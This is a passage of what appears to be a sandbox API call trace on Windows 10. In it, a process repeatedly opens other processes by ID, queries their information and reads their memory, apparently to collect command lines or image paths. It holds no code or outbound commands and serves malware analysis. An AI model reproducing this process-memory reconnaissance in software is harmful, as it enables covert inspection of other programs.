lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0291.104] free (_Block=0x20abc280840) [0291.105] CloseHandle (hObject=0x16c) returned 1 [0291.105] _ui64tow_s (in: _Value=0xe8c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3724") returned 0x0 [0291.110] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3724") returned 4 [0291.111] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.111] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.142] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe8c) returned 0x16c [0291.142] GetLastError () returned 0x0 [0291.143] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.144] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.144] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.144] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x901ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.144] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9018f8, lpBuffer=0x2dc22fc240, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.146] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.148] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.148] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.148] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x9012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.148] malloc (_Size=0x70) returned 0x20abc2831b0 [0291.148] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x901960, lpBuffer=0x20abc2831b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0291.149] free (_Block=0x20abc2831b0) [0291.150] CloseHandle (hObject=0x16c) returned 1 [0291.151] _ui64tow_s (in: _Value=0xe94, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3732") returned 0x0 [0291.155] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3732") returned 4 [0291.156] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.156] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.172] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe94) returned 0x16c [0291.172] GetLastError () returned 0x0 [0291.173] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.173] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x308018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.174] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.174] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521d10, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.174] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5218f8, lpBuffer=0x2dc22fc240, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.175] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.177] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.188] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x308020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.188] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5212e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.188] malloc (_Size=0x80) returned 0x20abc2aaf00 [0291.189] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x521970, lpBuffer=0x20abc2aaf00, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aaf00*, lpNumberOfBytesRead=0x0) returned 1 [0291.189] free (_Block=0x20abc2aaf00) [0291.190] CloseHandle (hObject=0x16c) returned 1 [0291.190] _ui64tow_s (in: _Value=0xeac, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0291.194] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3756") returned 4 [0291.196] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.196] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.212] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x16c [0291.212] GetLastError () returned 0x0 [0291.213] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.213] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.213] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.214] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x501d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.214] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5018f8, lpBuffer=0x2dc22fc240, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.215] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.217] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.217] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3c1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.217] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.217] malloc (_Size=0x8a) returned 0x20abc2ac120 [0291.218] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x50197a, lpBuffer=0x20abc2ac120, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ac120*, lpNumberOfBytesRead=0x0) returned 1 [0291.218] free (_Block=0x20abc2ac120) [0291.219] CloseHandle (hObject=0x16c) returned 1 [0291.219] _ui64tow_s (in: _Value=0xeb4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3764") returned 0x0 [0291.240] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3764") returned 4 [0291.241] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.241] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.257] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeb4) returned 0x16c [0291.257] GetLastError () returned 0x0 [0291.259] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.259] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.259] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.259] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d1ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.259] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d18f8, lpBuffer=0x2dc22fc240, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.261] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.262] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.262] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.263] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.263] malloc (_Size=0x6c) returned 0x20abc2831b0 [0291.263] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0291.264] free (_Block=0x20abc2831b0) [0291.264] CloseHandle (hObject=0x16c) returned 1 [0291.265] _ui64tow_s (in: _Value=0xee0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3808") returned 0x0 [0291.269] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3808") returned 4 [0291.270] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.270] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.315] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee0) returned 0x16c [0291.315] GetLastError () returned 0x0 [0291.316] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.316] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.316] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.317] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.317] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a18f8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.329] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.330] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.330] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.331] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.331] malloc (_Size=0x48) returned 0x20abc27cf80 [0291.331] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1938, lpBuffer=0x20abc27cf80, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0291.331] free (_Block=0x20abc27cf80) [0291.332] CloseHandle (hObject=0x16c) returned 1 [0291.333] _ui64tow_s (in: _Value=0xee8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3816") returned 0x0 [0291.337] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3816") returned 4 [0291.339] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.339] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.354] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee8) returned 0x16c [0291.355] GetLastError () returned 0x0 [0291.356] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.356] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.356] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.356] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.357] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.358] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.359] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.360] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.360] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.360] malloc (_Size=0x6a) returned 0x20abc2831b0 [0291.360] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x51195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0291.361] free (_Block=0x20abc2831b0) [0291.361] CloseHandle (hObject=0x16c) returned 1 [0291.362] _ui64tow_s (in: _Value=0xef0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3824") returned 0x0 [0291.382] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3824") returned 4 [0291.383] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.384] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.401] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef0) returned 0x16c [0291.401] GetLastError () returned 0x0 [0291.402] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.402] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3e4018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.403] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.403] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.403] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.404] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0291.406] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0291.406] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3e4020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0291.406] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0291.406] malloc (_Size=0x6a) returned 0x20abc2831b0 [0291.407] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4e195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0291.407] free (_Block=0x20abc2831b0) [0291.408] CloseHandle (hObject=0x16c) returned 1 [0291.409] _ui64tow_s (in: _Value=0xf00, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3840") returned 0x0 [0291.413] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3840") returned 4 [0291.414] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0291.414] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0291.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf00) returned 0x16c [0291.442] GetLastError () returned 0x0 [0291.443] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0291.443] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x323018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0291.444] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0291.444] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c1d20, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0291.444] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4c18f8, lpBuffer=0x2dc22fc240, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0291.445] NtQueryInformationProcess (in: ProcessHandle=0x16c, 